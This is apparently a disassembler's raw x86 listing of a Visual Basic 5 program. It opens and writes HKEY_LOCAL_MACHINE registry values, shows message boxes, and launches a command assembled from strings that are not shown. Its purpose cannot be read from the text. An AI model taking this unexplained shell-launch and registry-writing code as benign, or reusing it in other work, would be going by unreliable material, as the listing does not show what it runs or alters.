call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x43314f
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
push ecx
lea edx, [ebp - 0xa8]
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x43314f
mov ecx, dword [ebp - 0x14]
push ecx
push 0x4101f8
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov edx, 0x41075c
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov ecx, dword [ebp - 0x50]
mov eax, 4
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push ecx
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x433436
mov edx, dword [ebp - 0x50]
cmp byte [edx], 1
je 0x433456
mov ecx, 1
call dword [sym.imp.MSVBVM50.DLL___vbaUI1I4]
mov ecx, dword [ebp - 0x50]
push 4
mov byte [ecx], al
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
push edx
push 4
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], edx
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x43336b
mov ecx, dword [ebp - 0x50]
mov eax, 4
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push ecx
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x43335d
mov edx, dword [ebp - 0x50]
cmp byte [edx], 1
jne 0x4332b8
mov eax, dword [ebp - 0x14]
push eax
push 0x410724
jmp 0x43343f
mov edx, dword [ebp - 0x14]
push edx
push 0x410774
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
push eax
mov eax, dword [ebp - 0x50]
mov cl, byte [eax]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrUI1]
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
lea edx, [ebp - 0x90]
push edx
call fcn.004305c0
lea eax, [ebp - 0x90]
lea ecx, [ebp - 0x8c]
push eax
lea edx, [ebp - 0x88]
push ecx
lea eax, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 6
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x1c
jmp 0x433456
mov eax, dword [ebp - 0x14]
push eax
push 0x410234
jmp 0x43343f
mov edx, dword [ebp - 0x14]
push edx
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x433456
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea ecx, [ebp - 0xd8]
lea edx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0xb8]
push edx
push eax
lea ecx, [ebp - 0xa8]
push 0x30
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
lea edx, [ebp - 0xa8]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x433456
mov eax, dword [ebp - 0x14]
push eax
push 0x4101f8
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
fld dword [0x401ff0]
call dword [sym.imp.MSVBVM50.DLL___vbaFpR4]
fcomp dword [0x43c064]
fnstsw ax
test ah, 0x40
je 0x433789
mov edx, 0x4107b0
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov eax, 4
lea edx, [ebp - 0x190]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x50]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18c]
push eax
push ecx
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x43375a
mov ecx, dword [ebp - 0x50]
cmp byte [ecx], 1
je 0x43377a
mov ecx, 1
call dword [sym.imp.MSVBVM50.DLL___vbaUI1I4]
mov edx, dword [ebp - 0x50]
push 4
mov byte [edx], al
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
push eax
push 4
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x43368f
mov edx, dword [ebp - 0x50]
mov eax, 4
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18c]
push edx
push eax
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x433681
mov eax, dword [ebp - 0x50]
cmp byte [eax], 1
jne 0x4335dc
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410724
jmp 0x433763
mov eax, dword [ebp - 0x14]
push eax
push 0x410774
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
mov ecx, dword [ebp - 0x50]
push eax
mov dl, byte [ecx]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrUI1]
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
lea eax, [ebp - 0x90]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x90]
lea edx, [ebp - 0x8c]
push ecx
lea eax, [ebp - 0x88]
push edx
lea ecx, [ebp - 0x84]
push eax
lea edx, [ebp - 0x80]
push ecx
lea eax, [ebp - 0x7c]
push edx
push eax
push 6
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x1c
jmp 0x43377a
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410234
jmp 0x433763
mov eax, dword [ebp - 0x14]
push eax
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x43377a
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
push ecx
lea edx, [ebp - 0xa8]
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x43377a
mov ecx, dword [ebp - 0x14]
push ecx
push 0x4101f8
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, 0x4107d8
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x3f
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
cmp dword [ebp - 0x34], 5
jne 0x433832
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x433d11
fld dword [0x43c064]
fcomp dword [0x401ff4]
mov edx, 0x410848
fnstsw ax
test ah, 1
jne 0x43385a
mov edx, 0x410884
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov ecx, dword [ebp - 0x14]
push 0x4108c0
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov ecx, dword [ebp - 0x50]
mov eax, 4
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push ecx
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
cmp eax, 2
je 0x4338fe
test eax, eax
jne 0x433ce2
mov edx, dword [ebp - 0x50]
cmp byte [edx], 1
je 0x433d02
fld dword [0x43c064]
fcomp dword [0x401ff4]
fnstsw ax
test ah, 1
jne 0x433a7f
lea eax, [ebp - 0xa8]
push 0x22
push eax
mov dword [ebp - 0x140], 0x4108d0
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0xe8]
mov eax, 8
push 0x22
push edx
mov dword [ebp - 0x150], 0x4108ec
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x168], eax
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
mov eax, dword [0x43c054]
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x170], eax
mov eax, 8
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x188], eax
push 2
lea edx, [ebp - 0xa8]
push ecx
lea eax, [ebp - 0xb8]
push edx
push eax
mov dword [ebp - 0x180], 0x4108fc
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
lea ecx, [ebp - 0x158]
push eax
lea edx, [ebp - 0xc8]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x168]
lea ecx, [ebp - 0xd8]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf8]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
lea ecx, [ebp - 0x178]
push eax
lea edx, [ebp - 0x108]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x188]
lea ecx, [ebp - 0x118]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcShell]
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x108]
push edx
lea ecx, [ebp - 0xf8]
push eax
lea edx, [ebp - 0xe8]
push ecx
lea eax, [ebp - 0xd8]
push edx
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 8
fstp st(0)
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x24
mov edx, 0x410948
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov ecx, 1
call dword [sym.imp.MSVBVM50.DLL___vbaUI1I4]
mov edx, dword [ebp - 0x50]
push 4
mov byte [edx], al
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
push eax
push 4
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x433c17
mov edx, dword [ebp - 0x50]
mov eax, 4
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18c]
push edx
push eax
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x433c09
mov eax, dword [ebp - 0x50]
cmp byte [eax], 1
jne 0x433b64
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410724
jmp 0x433ceb
mov eax, dword [ebp - 0x14]
push eax
push 0x410618
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
mov ecx, dword [ebp - 0x50]
push eax
mov dl, byte [ecx]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrUI1]
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
lea eax, [ebp - 0x90]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x90]
lea edx, [ebp - 0x8c]
push ecx
lea eax, [ebp - 0x88]
push edx
lea ecx, [ebp - 0x84]
push eax
lea edx, [ebp - 0x80]
push ecx
lea eax, [ebp - 0x7c]
push edx
push eax
push 6
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x1c
jmp 0x433d02
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410234
jmp 0x433ceb
mov eax, dword [ebp - 0x14]
push eax
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x433d02
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
push ecx
lea edx, [ebp - 0xa8]
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x433d02
mov ecx, dword [ebp - 0x14]
push ecx
push 0x4101f8
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
fld dword [0x43c064]
fcomp dword [0x401ff4]
fnstsw ax
test ah, 1
jne 0x4341b5
mov edx, 0x4107d8
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x3f
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
cmp dword [ebp - 0x34], 5
jne 0x433dd1
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4341b5
mov edx, 0x410984
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov ecx, 1
cmp ax, cx
jg 0x4341a6
cmp ax, cx
jne 0x433e10
mov edx, 0x4109a4
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, dword [ebp - 0x50]
lea ecx, [ebp - 0x190]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18c]
push edx
push eax
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
mov dword [ebp - 0x190], 0x10
mov dword [ebp - 0x18c], 3
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x434169
xor ecx, ecx
xor ebx, ebx
mov dword [ebp - 0x30], ecx
mov eax, 0xf
cmp bx, ax
jg 0x433ec7
movsx eax, bx
cmp eax, 0x21
jb 0x433e9c
call dword [sym.imp.MSVBVM50.DLL___vbaGenerateBoundsError]
mov edx, dword [ebp - 0x50]
xor ecx, ecx
movsx eax, bx
mov cl, byte [eax + edx]
mov eax, dword [ebp - 0x30]
add ecx, eax
mov eax, 1
jo 0x435277
add ax, bx
mov dword [ebp - 0x30], ecx
jo 0x435277
mov ebx, eax
jmp 0x433e84
test ecx, ecx
je 0x434189
xor ebx, ebx
mov eax, 0xf
cmp bx, ax
jg 0x433f0c
movsx eax, bx
cmp eax, 0x21
jb 0x433ee9
call dword [sym.imp.MSVBVM50.DLL___vbaGenerateBoundsError]
xor ecx, ecx
call dword [sym.imp.MSVBVM50.DLL___vbaUI1I2]
mov edx, dword [ebp - 0x50]
movsx ecx, bx
mov byte [ecx + edx], al
mov eax, 1
add ax, bx
jo 0x435277
mov ebx, eax
jmp 0x433ed1
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
push 0x10
push eax
push 3
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ebx, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
test ebx, ebx
jne 0x43409b
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0x190]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x18c]
push ecx
push edx
push ebx
lea ecx, [ebp - 0x7c]
push eax
push ecx
mov dword [ebp - 0x190], 0x10
mov dword [ebp - 0x18c], 3
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov ebx, eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
test ebx, ebx
jne 0x43406b
xor eax, eax
mov ecx, 0xf
mov dword [ebp - 0x40], eax
mov edx, 1
cmp ax, cx
jg 0x433fe9
mov bx, dx
add bx, ax
jo 0x435277
mov eax, ebx
jmp 0x433fd4
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x434008
mov edx, dword [ebp - 0x14]
push edx
push 0x410724
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
jmp 0x434081
mov ecx, dword [ebp - 0x14]
push ecx
push 0x4109c4
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov edx, dword [ebp - 0x40]
push eax
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
lea eax, [ebp - 0x84]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x84]
lea edx, [ebp - 0x80]
push ecx
lea eax, [ebp - 0x7c]
push edx
push eax
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 0x3c], 1
jmp 0x434189
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410234
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
